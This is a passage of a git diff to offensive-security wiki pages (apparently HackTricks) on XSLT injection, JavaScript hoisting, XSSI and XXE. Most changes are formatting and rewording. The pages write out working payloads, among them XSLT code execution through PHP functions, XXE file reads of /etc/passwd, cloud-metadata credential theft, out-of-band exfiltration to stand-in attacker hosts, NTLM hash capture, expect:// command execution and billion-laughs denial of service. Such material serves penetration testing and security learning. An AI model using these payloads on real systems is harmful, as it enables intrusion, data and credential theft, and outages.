<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -285,7 +290,7 @@ Upload this and take information
### **Through HTTP**
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -294,7 +299,7 @@ Upload this and take information
</xsl:stylesheet>
```
```markup
```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
@ -304,7 +309,7 @@ Upload this and take information
### **Internal (PHP-function)**
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
@ -313,7 +318,7 @@ Upload this and take information
</xsl:stylesheet>
```
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
@ -325,7 +330,7 @@ Upload this and take information
### Port scan
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
@ -338,7 +343,7 @@ Upload this and take information
### XSLT 2.0
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
@ -351,7 +356,7 @@ Upload this and take information
### **Xalan-J extension**
```markup
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
@ -363,11 +368,11 @@ Other ways to write files in the PDF
## Include external XSL
```markup
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```
```markup
```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
@ -376,7 +381,7 @@ Other ways to write files in the PDF
### **php:function**
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
@ -387,7 +392,7 @@ xmlns:php="http://php.net/xsl" >
</xsl:stylesheet>
```
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
@ -407,7 +412,7 @@ Execute code using other frameworks in the PDF
The following function will call the static method `stringToUrl` of the class XSL:
```markup
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
@ -424,6 +429,10 @@ version="1.0">
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
## More Payloads
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

View file

@ -16,27 +16,26 @@ Other ways to support HackTricks:
## Basic Information
{% hint style="success" %}
JavaScript Hoisting refers to the process whereby the **interpreter appears to move the declaration** of functions, variables, classes, or imports to the **top of their scope, prior to execution of the code**.
{% endhint %}
In the JavaScript language, a mechanism known as **Hoisting** is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes.
JavaScript engine will do (at least two) passes over any script. This is a big simplification, but we can think of JS execution as consisting of two steps. **First, the code is parsed**, which includes checking for **syntax errors** and converting it to an abstract syntax tree. This step also includes what we describe as **hoisting,** where certain forms of declarations are “moved”(hoisted) to the top of the execution stack. If the code passes the parsing step, the engine **continues to execute the script**.
During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds.
1. Any code (including the injected payload) must adhere to the syntax rules. **Nothing will execute if the syntax is invalid** anywhere in the final script.
2. Where in a script code is placed might have importance, but **the text representation of a code snippet is not the same as what is executed** by the runtime in the end. Any language might have rules that decide what order expressions are executed.
It is crucial to understand that:
### The four types of hoisting
1. The script must be free of syntax errors for execution to occur. Syntax rules must be strictly adhered to.
2. The placement of code within the script affects execution due to hoisting, although the executed code might differ from its textual representation.
Returning to MDNs description of hoisting, we can read that there are four kinds of hoisting in JavaScript. Again, directly from MDN:
#### Types of Hoisting
> 1. Being able to use a variables value in its scope before the line it is declared. (“Value hoisting”)
> 2. Being able to reference a variable in its scope before the line it is declared, without throwing a `ReferenceError`, but the value is always `undefined`. (“Declaration hoisting”)
> 3. The declaration of the variable causes behavior changes in its scope before the line in which it is declared.
> 4. The side effects of a declaration are produced before evaluating the rest of the code that contains it.
Based on the information from MDN, there are four distinct types of hoisting in JavaScript:
followed by
1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line.
2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`.
3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.
4. The declaration's side effects occur before the rest of the code containing it is evaluated.
In detail, function declarations exhibit type 1 hoisting behavior. The `var` keyword demonstrates type 2 behavior. Lexical declarations, which include `let`, `const`, and `class`, show type 3 behavior. Lastly, `import` statements are unique in that they are hoisted with both type 1 and type 4 behaviors.
> The four function declarations above are hoisted with type 1 behavior; `var` declaration is hoisted with type 2 behavior; [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations (also collectively called _lexical declarations_) are hoisted with type 3 behavior; [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) declarations are hoisted with type 1 and type 4 behavior.
## Scenarios

View file

@ -17,16 +17,20 @@ Other ways to support HackTricks:
## Basic Information
XSSI designates a kind of vulnerability which exploits the fact that, when a **resource is included using the `script` tag, the SOP doesnt apply**, because scripts have to be able to be included cross-domain. An attacker can thus **read everything** that was included using the **`script` tag**.
**Cross-Site Script Inclusion (XSSI)** is a vulnerability that arises from the nature of the `script` tag in HTML. Unlike most resources, which are subject to the **Same-Origin Policy (SOP)**, scripts can be included from different domains. This behavior is intended to facilitate the use of libraries and other resources hosted on different servers but also introduces a potential security risk.
This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host.
### Key Characteristics of **XSSI**:
- **Bypass of SOP**: Scripts are exempt from the **Same-Origin Policy**, allowing them to be included across domains.
- **Data Exposure**: An attacker can exploit this behavior to read data loaded via the `script` tag.
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** is particularly relevant for dynamic JavaScript or **JSON with Padding (JSONP)**. These technologies often use "ambient-authority" information (like cookies) for authentication. When a script request is made to a different host, these credentials (e.g., cookies) are automatically included in the request.
- **Authentication Token Leakage**: If an attacker can trick a user's browser into requesting a script from a server they control, they might be able to access sensitive information contained in these requests.
### Types
1. Static JavaScript (regular XSSI)
2. Static JavaScript, which is only accessible when authenticated
3. Dynamic JavaScript
4. Non-JavaScript
1. **Static JavaScript** - This represents the conventional form of XSSI.
2. **Static JavaScript with Authentication** - This type is distinct because it requires authentication to access.
3. **Dynamic JavaScript** - Involves JavaScript that dynamically generates content.
4. **Non-JavaScript** - Refers to vulnerabilities that do not involve JavaScript directly.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.

View file

@ -14,47 +14,22 @@ Other ways to support HackTricks:
</details>
An XML External Entity attack is a type of attack against an application that parses XML input.
## XML Basics
**Most of this is based on this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
XML is a markup language designed for data storage and transport, featuring a flexible structure that allows for the use of descriptively named tags. It differs from HTML by not being limited to a set of predefined tags. XML's significance has declined with the rise of JSON, despite its initial role in AJAX technology.
### Overview of Extensible Markup Language <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
- **Data Representation through Entities**: Entities in XML enable the representation of data, including special characters like `&lt;` and `&gt;`, which correspond to `<` and `>` to avoid conflict with XML's tag system.
Extensible Markup Language, commonly abbreviated as XML, is defined as a markup language that is utilized for the storage and transportation of data. Employing a structure reminiscent of a tree, composed of tags and data akin to HTML, XML distinguishes itself by not restricting to predefined tags. This flexibility allows for the utilization of tags named descriptively according to the data they encapsulate. Historically, XML gained prominence as a format for data transport, notably represented by its contribution to the acronym "AJAX" (where "X" stands for "XML"). However, its popularity has waned, with JSON emerging as the preferred format.
- **Defining XML Elements**: XML allows for the definition of element types, outlining how elements should be structured and what content they may contain, ranging from any type of content to specific child elements.
### Representation of Data Items in XML Through Entities <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
- **Document Type Definition (DTD)**: DTDs are crucial in XML for defining the document's structure and the types of data it can contain. They can be internal, external, or a combination, guiding how documents are formatted and validated.
In XML, entities serve as mechanisms for representing data items within a document, offering an alternative to direct data insertion. The XML specification incorporates various built-in entities. For instance, `&lt;` and `&gt;` serve to represent the `<` and `>` characters, respectively. Given their role in demarcating XML tags, these metacharacters must often be depicted using entities when they are to appear within the data.
- **Custom and External Entities**: XML supports the creation of custom entities within a DTD for flexible data representation. External entities, defined with a URL, raise security concerns, particularly in the context of XML External Entity (XXE) attacks, which exploit the way XML parsers handle external data sources: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
### Defining XML Elements
Element type declarations are critical in XML, as they establish the guidelines for the presence, types, and sequencing of elements within an XML document. Illustrative examples include:
- `<!ELEMENT stockCheck ANY>` signifies that the `<stockCheck></stockCheck>` element may enclose any type of object.
- `<!ELEMENT stockCheck EMPTY>` dictates that the `<stockCheck></stockCheck>` element should remain devoid of content.
- `<!ELEMENT stockCheck (productId,storeId)>` specifies that the `<stockCheck>` element may only contain `<productId>` and `<storeId>` as child elements.
### Introduction to Document Type Definition <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
Document Type Definition (DTD) plays a pivotal role in XML by providing declarations that can dictate an XML document's structure, permissible data types, and more. The `DOCTYPE` element, which is optional and positioned at the beginning of an XML document, can declare a DTD. DTDs may be categorized as "internal" when fully embedded within a document, "external" when loaded from an external source, or a combination of both.
### Utilization of Custom Entities in XML <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
XML facilitates the definition of custom entities within a DTD. An example declaration:
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
Such a declaration indicates that the entity reference `&myentity;` within the document will substitute with "my entity value".
### Incorporation of External Entities in XML <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
External entities in XML are a subtype of custom entities, characterized by their definitions being external to the DTD. These entities utilize the `SYSTEM` keyword and necessitate a URL specifying the location from which the entity's value is to be retrieved, potentially enabling [XML external entity attacks](https://portswigger.net/web-security/xxe).
### Exploiting XML Parameter Entities for XXE Detection
In scenarios where standard entities are ineffective for exploiting XXE vulnerabilities due to validation or XML parser hardening, XML parameter entities may be employed. Distinguished by the inclusion of a percent character preceding the entity name and referenced using the same character, XML parameter entities are exclusively referenced within the DTD. They can facilitate blind XXE detection through out-of-band methods, exemplified by initiating a DNS lookup and HTTP request to an attacker-controlled domain, thereby confirming the exploit's success.
- **XXE Detection with Parameter Entities**: For detecting XXE vulnerabilities, especially when conventional methods fail due to parser security measures, XML parameter entities can be utilized. These entities allow for out-of-band detection techniques, such as triggering DNS lookups or HTTP requests to a controlled domain, to confirm the vulnerability.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
@ -65,7 +40,7 @@ In scenarios where standard entities are ineffective for exploiting XXE vulnerab
In this attack I'm going to test if a simple new ENTITY declaration is working
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
@ -82,7 +57,7 @@ Lets try to read `/etc/passwd` in different ways. For Windows you could try to r
In this first case notice that SYSTEM "_\*\*file:///\*\*etc/passwd_" will also work.
```markup
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
@ -92,7 +67,7 @@ In this first case notice that SYSTEM "_\*\*file:///\*\*etc/passwd_" will also w
This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs)
```markup
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
@ -100,7 +75,7 @@ This second case should be useful to extract a file if the web server is using P
In this third case notice we are declaring the `Element stockCheck` as ANY
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
@ -118,7 +93,7 @@ In this third case notice we are declaring the `Element stockCheck` as ANY
In **Java** based applications it might be possible to **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file):
```markup
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -130,7 +105,7 @@ In **Java** based applications it might be possible to **list the contents of a
An XXE could be used to abuse a SSRF inside a cloud
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
@ -140,7 +115,7 @@ An XXE could be used to abuse a SSRF inside a cloud
Using the **previously commented technique** you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because **XML entities aren't allowed**, in that case you could try using **XML parameter entities**:
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
@ -189,31 +164,23 @@ This payload defines an XML parameter entity `%xxe` and incorporates it within t
**In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind)
You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows:
An XML parsing error message, revealing the contents of the `/etc/passwd` file, can be triggered using a malicious external Document Type Definition (DTD). This is accomplished through the following steps:
```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
1. An XML parameter entity named `file` is defined, which contains the contents of the `/etc/passwd` file.
2. An XML parameter entity named `eval` is defined, incorporating a dynamic declaration for another XML parameter entity named `error`. This `error` entity, when evaluated, attempts to load a nonexistent file, incorporating the contents of the `file` entity as its name.
3. The `eval` entity is invoked, leading to the dynamic declaration of the `error` entity.
4. Invocation of the `error` entity results in an attempt to load a nonexistent file, producing an error message that includes the contents of the `/etc/passwd` file as part of the file name.
This DTD carries out the following steps:
The malicious external DTD can be invoked with the following XML:
* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by loading a nonexistent file whose name contains the value of the `file` entity.
* Uses the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed.
* Uses the `error` entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the `/etc/passwd` file.
Invoke the external DTD error with:
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
And you should see the contents of the file inside error message of the response of the web server.
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
![](<../.gitbook/assets/image (223) (1).png>)
@ -249,7 +216,7 @@ The outlined steps are executed by this DTD:
**Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -268,7 +235,7 @@ The outlined steps are executed by this DTD:
As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists:
```markup
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
@ -316,7 +283,7 @@ Now, the created file can be uploaded to the potentially vulnerable web applicat
### Jar: protocol
The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file (`.zip`, `.jar`, ...) and works for local and remote files:
The **jar** protocol is made accessible exclusively within **Java applications**. It is designed to enable file access within a **PKZIP** archive (e.g., `.zip`, `.jar`, etc.), catering to both local and remote files.
```
jar:file:///var/myarchive.zip!/file.txt
@ -327,19 +294,20 @@ jar:https://download.host.com/myarchive.zip!/file.txt
To be able to access files inside PKZIP files is **super useful to abuse XXE via system DTD files.** Check [this section to learn how to abuse system DTD files](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
#### Behind the scenes
The process behind accessing a file within a PKZIP archive via the jar protocol involves several steps:
1. It makes an HTTP request to load the zip archive. `https://download.host.com/myarchive.zip`
2. It saves the HTTP response to a temporary location. `/tmp/...`
3. It extracts of the archive.
4. It reads the `file.zip`
5. It delete temporary files.
1. An HTTP request is made to download the zip archive from a specified location, such as `https://download.website.com/archive.zip`.
2. The HTTP response containing the archive is stored temporarily on the system, typically in a location like `/tmp/...`.
3. The archive is then extracted to access its contents.
4. The specific file within the archive, `file.zip`, is read.
5. After the operation, any temporary files created during this process are deleted.
Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. [This tools can be useful](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): one in python `slow_http_server.py` and one in java`slowserver.jar`.
An interesting technique to interrupt this process at the second step involves keeping the server connection open indefinitely when serving the archive file. Tools available at [this repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) can be utilized for this purpose, including a Python server (`slow_http_server.py`) and a Java server (`slowserver.jar`).
Once the server has downloaded your file, you need to find its location by browsing the temp directory. Being random, the file path can't be predict in advance.
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc).
@ -347,7 +315,7 @@ Writing files in a temporary directory can help to **escalate another vulnerabil
### XSS
```markup
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
@ -355,7 +323,7 @@ Writing files in a temporary directory can help to **escalate another vulnerabil
#### Billion Laugh Attack
```markup
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
@ -368,7 +336,7 @@ Writing files in a temporary directory can help to **escalate another vulnerabil
#### Yaml Attack
```markup
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
@ -388,13 +356,13 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler:
```
```bash
Responder.py -I eth0 -v
```
and by sending the following request
```
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
@ -406,11 +374,9 @@ Then you can try to crack the hash using hashcat
### XInclude
In some scenarios, **client-sent data is incorporated into an XML document by server-side processes before parsing**. This typically occurs when client data is integrated into a **backend SOAP request**, subsequently handled by a SOAP service on the backend.
When integrating client data into server-side XML documents, like those in backend SOAP requests, direct control over the XML structure is often limited, hindering traditional XXE attacks due to restrictions on modifying the `DOCTYPE` element. However, an `XInclude` attack provides a solution by allowing the insertion of external entities within any data element of the XML document. This method is effective even when only a portion of the data within a server-generated XML document can be controlled.
Performing a traditional XXE (XML External Entity) attack proves challenging in these instances due to the limited control over the XML document's entirety, specifically the inability to alter or introduce a `DOCTYPE` element. However, leveraging `XInclude`, a feature of the XML standard that enables the assembly of an XML document from smaller sub-documents, presents a workaround. This approach allows for an `XInclude` attack within any data element of an XML document, making it feasible in cases where control is restricted to an individual piece of data embedded into a server-generated XML document.
To initiate an `XInclude` attack, the inclusion of the `XInclude` namespace is required, along with the specification of the file path intended for inclusion. The following example demonstrates how such an attack might be structured:
To execute an `XInclude` attack, the `XInclude` namespace must be declared, and the file path for the intended external entity must be specified. Below is a succinct example of how such an attack can be formulated:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
@ -455,7 +421,7 @@ Read the following post to **learn how to exploit a XXE uploading a PDF** file:
If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
```markup
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
@ -465,7 +431,7 @@ foo=bar
Then you might be able submit the following request, with the same result:
```markup
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
@ -477,7 +443,7 @@ Content-Length: 52
To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
```markup
```xml
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
@ -489,7 +455,7 @@ Content-Type: application/json;charset=UTF-8
}}}
```
```markup
```xml
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
@ -511,7 +477,7 @@ Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-w
### Base64
```markup
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
@ -521,12 +487,12 @@ This only work if the XML server accepts the `data://` protocol.
You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7.
```markup
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```markup
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
@ -545,7 +511,7 @@ Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd
You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\
Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
@ -554,7 +520,7 @@ Note that the **HTML Entities** used needs to be **numeric** (like \[in this exa
DTD example:
```markup
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
@ -567,13 +533,13 @@ DTD example:
**Extract** _**index.php**_
```markup
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Extract external resource**
```markup
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
@ -581,7 +547,7 @@ DTD example:
**If PHP "expect" module is loaded**
```markup
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
@ -593,7 +559,7 @@ DTD example:
## **SOAP - XEE**
```markup
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
@ -607,7 +573,7 @@ XLIFF (XML Localization Interchange File Format) is utilized to standardize data
A request is made to the server with the following content:
```markup
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
@ -680,7 +646,7 @@ Valid XML with RSS format to exploit an XXE vulnerability.
Simple HTTP request to attackers server
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
@ -703,7 +669,7 @@ Simple HTTP request to attackers server
### Read file
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
@ -728,7 +694,7 @@ Simple HTTP request to attackers server
Using PHP base64 filter
```markup
